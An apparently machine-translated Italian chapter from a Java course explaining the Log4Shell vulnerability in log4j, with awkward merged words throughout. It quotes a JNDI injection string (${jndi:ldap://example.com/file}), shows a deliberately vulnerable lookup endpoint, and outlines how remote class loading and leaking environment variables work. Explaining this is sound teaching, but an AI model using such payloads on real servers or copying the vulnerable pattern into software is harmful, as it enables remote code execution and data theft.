7.1 Scandalo
E, naturalmente, è impossibile non raccontare la storia che è accaduta di recente, alla fine del 2021.
La US Cybersecurity and Infrastructure Protection Agency (CISA) ha affermato che il problema Log4Shellè una delle vulnerabilità più gravi della storia. Sì, stiamo parlando della nostra libreria preferita log4j.
La nostra piccola biblioteca accogliente log4j e la più grande vulnerabilità della storia ? Incuriosito? Allora ascolta.
7.2 Entità del disastro
La scoperta di una vulnerabilità critica Log4Shell(codice CVE-2021-44228) è stata annunciata il 9 dicembre 2021 dagli esperti di sicurezza di Lunasec. Gli esperti della comunità Java di Apache Security Team hanno verificato queste informazioni e pubblicato un elenco di librerie Java vulnerabili. L'elenco era semplicemente enorme.
Se un progetto Java utilizzava una libreria log4j, potrebbe essere violato abbastanza facilmente. E dato che quasi tutto il software del server è scritto nel Javapiù log4jpopolare logger java, secondo gli esperti di sicurezza, la vulnerabilità ha interessato il 93% degli ambienti cloud aziendali. Compresi artisti del calibro di Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam e molti altri
Inoltre, la vulnerabilità ha colpito non solo il software del server, ma anche molte applicazioni Java, nonché i produttori di hardware. Ad esempio, Intel ha pubblicato un elenco di 32 programmi hackerabili: SDK, sistemi di manutenzione del server, strumenti Linux.
Nvidia ha anche pubblicato un rapporto sui problemi di sicurezza che menziona i server DGX e gli strumenti NetQ. Numerosi aggiornamenti sono stati rilasciati con urgenza da Apple e Microsoft.
In parole povere, una riga nella barra degli indirizzi del browser di uno studente mette il server se questa riga viene mangiata dal logger (su molti server, tutto è registrato HTTP-requests).
Dopo aver analizzato il codice, si è scoperto che la vulnerabilità era presente nella libreria dal 2013, ma se ne sono accorti solo ora. E quando hanno iniziato a scavare più a fondo, hanno scoperto un abisso, il cui fondo non è affatto visibile.
7.3 La vulnerabilità più grave della storia
Nel dicembre 2021, la Cybersecurity and Infrastructure Protection Agency (CISA) degli Stati Uniti ha dichiarato che Log4Shellsi tratta di una delle vulnerabilità più gravi della storia .
Molti altri esperti esprimono un'opinione simile . Tutti conoscono questa vulnerabilità e gli hacker di tutte le età la stanno già utilizzando per rubare dati personali e altri tipi di attacchi a varie organizzazioni. In futuro, stiamo aspettando un'ondata di massicci hack e fughe di dati.
L'entità del disastro può essere misurata anche dal fatto che esiste un sito separato con meme su Log4j e ogni giorno ci sono nuove immagini.
Questo problema ci accompagna da molto tempo. Una falla di sicurezza in milioni se non centinaia di milioni di sistemi informatici. Tutto il vecchio software deve essere aggiornato e almeno sostituire questa libreria lì. Ma nella maggior parte dei casi, nessuno sa nemmeno quali librerie e quali versioni sono utilizzate nel loro software.
In generale, prevediamo un forte aumento degli stipendi degli specialisti della sicurezza informatica.
7.4 Natura della vulnerabilità
Per comprendere l'essenza della vulnerabilità, è necessario comprendere come sono organizzati i sistemi di server di grandi dimensioni. Spesso tali applicazioni server sono suddivise in diversi servizi che si trovano su server diversi. E il servizio JNDI li aiuta a interagire.
Java Naming and Directory Interface (JNDI) serve Java APIa cercare oggetti/servizi per nome. Questi oggetti possono essere archiviati in vari servizi di denominazione o directory come Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) o Domain Name Service (DNS).
Lavorare con esso è molto semplice: è semplice Java APIe richiede solo un parametro stringa: il nome del servizio. Con esso puoi contattare qualsiasi servizio e chiedergli di fare qualcosa e / o inviare alcuni dati. Ad esempio, string ${jndi:ldap://example.com/file}caricherà i dati da quanto URLspecificato nella stringa.
Se il parametro proviene da una fonte non attendibile, può causare il caricamento di classi remote e l'esecuzione di codice di terze parti . Cosa succede nel caso di Log4j. L'aggressore indirizza semplicemente l'applicazione Java della vittima a quella dannosa rmi/ldap/corba-servere riceve in risposta un oggetto dannoso.
Tecnicamente, il problema qui non è nella log4jlibreria stessa, ma nelle impostazioni di sicurezza quando si lavora con JNDI-service. Devi sempre controllare che tipo di stringa passiamo a InitialContext.lookup().
Esempio vulnerabile JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 Libreria troppo intelligente
E dove log4jlo chiedi? Il fatto è che i suoi sviluppatori volevano rendere il lavoro con esso il più confortevole possibile e vi hanno aggiunto lo smart logging. Ecco come funziona:
Tutto è iniziato con il fatto che i messaggi di registro ti permettevano di impostare un modello in cui i dati venivano sostituiti, ad esempio:
log.debug(“User {user} has {count} friends”, user, count);
La vecchia versione senza sostituzione dei dati aveva questo aspetto:
log.debug( “User “+user +” has “+ count +” friends”);
Nel 2013 è stata aggiunta alla libreria anche la sostituzione dei prefissi intelligenti specificati dal modello di visualizzazione ${prefix:name}. Ad esempio, la stringa “${java:version}”verrà convertita in «Java version 1.7.0_67». Oh che comodo.
Tra le espressioni riconosciute ci sono ${jndi:<lookup>}dove dopo il protocollo jndi è possibile specificare una ricerca attraverso LDAP: arbitrary URL-addresspuò essere interrogato e caricato come dati oggetto Java.
Questo è un problema standard dell'intero approccio JDK: deserializza automaticamente un oggetto, un collegamento al quale può essere impostato sotto forma di un url. In questo caso, non solo i dati dell'oggetto vengono caricati dalla risorsa remota, ma anche il codice della sua classe.
L'hack si presenta così:
- Download di un file con codice dannoso
- Il file contiene serializzato
Java an object(e la sua classe) - La classe si sta caricando
Java-machine - Viene creato un oggetto di una classe dannosa
- Viene chiamato il costruttore dell'oggetto
- Sia il costruttore che l'inizializzazione statica consentono l'esecuzione di codice di classe dannoso
log4jSe c'è qualcosa di simile nella riga che viene registrata ${jndi:ldap://example.com/file}, log4jscaricherà i dati da questa URL-addressquando si connette a Internet . Inserendo una stringa registrata, un utente malintenzionato può scaricare ed eseguire codice dannoso ospitato su un dominio URL-address.
Anche se l'esecuzione dei dati è disabilitata, un utente malintenzionato può ottenere dati, come variabili di ambiente segrete, inserendoli in un URL-address, che li sostituirà e li invierà al server dell'attaccante.
La buona notizia è che il problema è stato rapidamente risolto nella libreria .
La cattiva notizia è che milioni di server in tutto il mondo eseguono ancora la vecchia versione di questa libreria ...
GO TO FULL VERSION